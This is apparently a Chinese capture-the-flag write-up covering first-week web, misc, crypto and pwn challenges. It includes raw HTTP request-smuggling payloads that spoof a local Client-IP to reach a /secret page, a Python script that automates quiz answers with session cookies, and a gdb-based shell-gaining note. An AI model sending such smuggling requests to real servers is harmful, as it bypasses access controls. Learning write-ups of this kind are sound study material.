WEEK1的部分题目
Contents
WEB
Hitchhiking_in_the_Galaxy
比较基础的HTTP-headers题目
GET方式正常访问提示Method_NOT_allowed
修改访问方式为POST
提示修改UA头为指定浏览器,后面的大概都是这些要求,直接一张图截下来了
成功获取到flag
watermelon
合成大西瓜
未修改的源码
https://github.com/liyupi/daxigua
可以根据目录结构去读源码,Project.js中存在逻辑代码,可以根据github上的代码找相对应的字符,比如
gameover
在github上找到相应的位置,在题目源码中搜索
base64解码即可
或者是直接玩,分数达到2000分以上就可以弹出flag了,网上说ipad分屏玩比较容易,让妹妹帮忙玩,玩到了2000
宝藏走私者
HTTP走私协议
这个还是比较有意思的题目。题目后来还有2.0版本。主要就是考察对HTTP走私协议的了解,现学了一手
https://paper.seebug.org/1048/
https://www.cnblogs.com/xhds/p/12339994.html
大概原理就是由于解析服务器与后端服务器对于访问的HTTP解析方式不同,导致我们传输的数据一部分为正常请求,另一部分为走私请求,从而达到恶意访问的目的
访问题目
让我们直接访问secret页面
访问之后显示添加header头client-ip访问,正常访问添加后无法获取flag,结合题目,我们尝试使用Http走私的请求进行访问
GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 73
Transfer-Encoding: chunked
0
GET /secret HTTP/1.1
Host: thief.0727.site
Client-IP:127.0.0.1
一定要有换行符,这样服务器在解析的时候会正确读取ip,显示flag
否则会出现ip与下一个数据包拼接在一块的问题
智商检测鸡
一开始chrome浏览器打开没看明白
后来看题目说要用火狐打开
提示式子为ax+b的形式,看一下源码
给了接口,访问getQuestion接口可以获取题目,访问verify接口可以提交题目答案,如此循环,成功提交一百次后访问getFlag接口即可获取flag,逻辑很简单,我们可以用python解决问题,首先是获取题目的问题,需要我们把上限下限表达式都完整的取出来,这里本来想着是考察正则的,但是访问接口发现是标签类型的
可以直接用BeautifulSoup库来获取标签内字符串,从而获取到题目
剩下的问题就是循环和获取cookie了
import re
import requests
from bs4 import BeautifulSoup
from sympy import *
import json
import time
url="http://r4u.top:5000"
def getQuestion(content):
soup=BeautifulSoup(content,'html.parser')
#print soup.prettify()
a=soup.find_all('mo')
b=soup.find_all('mi')
c=soup.find_all('mn')
sx=a[1].string+c[0].string
xx=c[1].string
sc=c[2].string+"*"+b[0].string+a[3].string+c[3].string
print("sc={},sx={},xx={}".format(sc,sx,xx))
# print(sx+":"+xx+":"+sc)
x=symbols('x')
answer=float(integrate(sc,('x',sx,xx)))
return answer
def solving_answer(answer,cookies):
verify = url+"/api/verify"
headers = {'Content-Type': 'application/json','Cookie':'session={}'.format(cookies)}
data = {"answer": "{}".format(answer)}
res2 = requests.post(verify, json=data,headers=headers)
cookies = res2.cookies['session']
return cookies
def getflag(cookies):
headers={
'Set-Cookie': 'session=%s;'% cookies,
'Content-Type': 'application/json'
}
ress_flag=requests.get(url=url+"/api/getFlag")
print(ress_flag)
cookies = solving_answer(3,"text")
for i in range(1,101):
Question = url+"/api/getQuestion"
print(cookies)
header = {'Cookie':'session={}'.format(cookies)}
res = requests.get(Question,headers=header)
content = res.text
answer = getQuestion(content)
verify = url+"/api/verify"
headers = {'Content-Type': 'application/json','Cookie':'session={}'.format(cookies)}
data = {"answer": "{}".format(answer)}
res2 = requests.post(verify, json=data,headers=headers)
#print(res2.text)
cookies = res2.cookies['session']
print(cookies)
print(answer)
time.sleep(0.2)
if i == 101:
getflag(cookies)
走私者的愤怒
HTTP走私协议2.0版本
这个发现有个小问题不太清楚,可能和前一道题目一样都需要换行符隔开数据包
POST / HTTP/1.1
Host: police.liki.link
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Length: 78
Transfer-Encoding: chunked
0
GET /secret HTTP/1.1
Host: 127.0.0.1
Client-IP: 127.0.0.1
a: 1
MISC
Base全家福
base64->base32->base16
CRYPTO
Transformer
题目说的非常复杂
拿到后先看txt文件
非常明显的flag,直接在线词频分析一下
获取到一半的flag,最后一句提示我们要添加上今年的年份,将2021加在flag里面即获取到正确的flag
PWN
whitegive
下载附件,给了源文件和二进制文件,先看一下源文件
逻辑很简单,我们输入num等于指定字符串即可执行shell,但是后面给我们提示了strcmp函数,这里百度了一下发现这个函数是存在漏洞的。看一下二进制文件分析一下
根据ida可以看出,strcmp判断rdx和rax的值,我们可以在strcmp函数位置下一个断点,查看一下rax的值是多少,从而确定我们输入的函数,看一下cmp的汇编位置
gdb下断点调试一下
输入rax的值,即可getshell
链接nc,执行命令获取flag即可
后记
期待第二周